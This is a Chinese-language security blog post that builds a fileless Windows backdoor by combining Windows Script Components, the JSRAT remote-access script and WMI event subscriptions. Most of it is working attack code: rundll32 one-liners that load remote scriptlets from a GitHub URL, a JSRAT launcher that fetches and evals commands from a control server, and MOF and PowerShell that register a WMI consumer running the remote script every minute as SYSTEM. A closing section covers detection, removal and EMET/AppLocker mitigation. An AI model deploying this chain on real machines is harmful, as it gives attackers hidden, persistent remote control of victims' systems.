最近學習了lcx提供的資料《利用wsc來做一個asp后門》,在了解了wsc文件的一些特性后,產生了一個有趣的想法:
如果將其與JSRAT和WMI Backdoor相結合,那將會有多大的威力呢?
相關資料:
《利用wsc來做一個asp后門》:http://huaidan.org/archives/2574.html
《WMI Backdoor》: http://drops.wooyun.org/tips/8260
《JavaScript Backdoor》: http://drops.wooyun.org/tips/11764
WSC,全稱Windows Script
可用來開發COM組件
可被其他語言調用
更多介紹見:
http://www.xav.com/perl/Windows/windows_script_components.html
一個簡單的wsc腳本如下,保存為test.wsc:
#!xml
<?xml version="1.0"?>
<package>
<component id="testWSC">
<public>
<method name="Sum">
<PARAMETER name="X"/>
<PARAMETER name="Y"/>
</method>
</public>
<script language="JScript">
<![CDATA[
function Sum(X, Y) {
var result = X + Y;
return result;
}
]]>
</script>
</component>
</package>
通過如下js代碼即可調用腳本中的Sum函數:
#!javascript
var ref = GetObject("script:C:\\testwsc\\test.wsc");
var x = ref.Sum(4,6);
WScript.Echo(x);
如圖
注:
wsc文件的后綴名可以任意
以上內容和sct文件似曾相識,所以我們可以把里面的功能修改為啟動一個計算器
wsc文件如下:
#!xml
<?xml version="1.0"?>
<package>
<component id="testCalc">
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</component>
</package>
對應的js文件可簡化為:
#!javascript
GetObject("script:C:\\testwsc\\test.wsc");
執行后如圖:
—— 如果把wsc文件放到服務器上面呢? —— 當然可以正常執行。
地址如下: https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test
js文件修改為:
#!javascript
GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test")
執行如圖:
如果用在rundll32執行js的方法上會怎樣呢?
cmd下執行:
#!shell
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test")
如圖
如果把服務器上文件的內容替換成jsrat的啟動代碼會怎樣呢?
代碼如下:
#!xml
<?xml version="1.0"?>
<package>
<component id="testCalc">
<script language="JScript">
<![CDATA[
rat="rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication
\";document.write();h=new%20ActiveXObject(\"WinHttp.WinHttpRequest.5.1\");w=new%20ActiveXObject(\"WScript.Shell\");try{v=w.RegRead(\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet%20Settings\\\\ProxyServer\");q=v.split(\"=\")[1].split(\";\")[0];h.SetProxy(2,q);}catch(e){}h.Open(\"GET\",\"http://127.0.0.1/connect\",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject(\"WScript.Shell\").Run(\"cmd /c taskkill /f /im rundll32.exe\",0,true);}";
new ActiveXObject("WScript.Shell").Run(rat,0,true);
]]>
</script>
</component>
</package>
為區別演示,已上傳至另一文件testJSRAT:
https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/testJSRAT
cmd下執行:
#!shell
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/testJSRAT")
執行后彈回JSRAT的shell
這種方式有如下優點:
a.再次簡化了JSRAT的啟動代碼,只需要執行GetObject()
b.由于是遠程執行wsc文件,所以payload隨時可以更改,代碼可以隨時升級
通過WMI不僅可以定時執行程序,還能定時執行腳本
定時執行程序的方法之前介紹過,此處跳過,下面介紹一下定時執行腳本的方法
WMI支持vbs和js腳本,這里只介紹啟動js腳本的方法
注意轉義字符
"用\"表示
內容如下:
pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP1";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 1";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consP1";
ScriptingEngine = "JScript";
ScriptText = "GetObject(\"script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
演示略
注意轉義字符
"用""表示
內容如下:
#!powershell
$filterName = 'filtP1'
$consumerName = 'consP1'
$Command ="GetObject(""script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test"")"
$Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop
$WMIEventConsumer = Set-WmiInstance -Class ActiveScriptEventConsumer -Namespace "root\subscription" -Arguments @{Name=$consumerName;ScriptingEngine='JScript';ScriptText=$Command}
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}
演示略
#!powershell
Get-WMIObject -Namespace root\Subscription -Class __EventFilter
Get-WMIObject -Namespace root\Subscription -Class __EventConsumer
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding
#!powershell
Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='filtP1'" | Remove-WmiObject -Verbose
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter "Name='consP1'" | Remove-WmiObject -Verbose
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%BotFilter82%'" | Remove-WmiObject -Verbose
a. 注冊后每隔1分鐘執行一次遠程服務器上的js腳本
b. 權限為system
c. payload可以隨時更換
d. 不寫文件
e. 不寫注冊表
f. 自啟動
確保系統不被入侵。這個后門方法植入的前提是需要在系統上能夠執行代碼,所以建議勤打補丁、安裝殺毒軟件、防火墻
建立白名單機制。啟動Windows AppLocker,限制白名單以外的程序和腳本運行
使用EMET(增強減災體驗工具)。配置規則可攔截并記錄regsvr32和rundll32的使用 參考鏈接:
https://github.com/iadgov/Secure-Host-Baseline/tree/master/EMET#blocking-the-regsvr32-application-whitelisting-bypass-technique
1、下載安裝EMET 5.5
https://www.microsoft.com/en-us/download/details.aspx?id=50766
2、配置EMET組策略模板
(a)在%ProgramFiles%\EMET 5.5\Deployment\Group Policy Files\
或%ProgramFiles(x86)%\EMET 5.5\Deployment\Group Policy Files\
(64位系統)下找到:
EMET.admx
EMET.adml
如圖
(b)將EMET.admx復制到%SystemRoot%\PolicyDefinitions\
下
(c)將EMET.adml復制到%SystemRoot%\PolicyDefinitions\zh-CN
下(英文版系統復制到%SystemRoot%\PolicyDefinitions\en-us\
)
3、配置EMET規則
(a)輸入gpedit.msc進入組策略 中文系統為:
計算機配置-管理模板-Windows組件-EMET
英文系統為:
Computer Policy > Administrative Templates > Windows Components > EMET
(b)雙擊Application Configuration
選擇啟用
點擊顯示
如圖
(c)設置
值名稱: *\regsvr32.exe
值: +ASR asr_modules:scrobj.dll;scrrun.dll
如圖
(d)更新組策略模板
管理權權限的cmd下輸入:
#!shell
gpupdate /force
如圖
(e)測試
通過regsvr32調用scrobj.dll的操作被攔截
本文將WSC、JSRAT和WMI Backdoor三項技術融合,在腳本層面實現了一個近乎“完美”的后門。
當然,本文的初衷是在這項技術被濫用前盡可能的幫助大家提前做好防御的準備。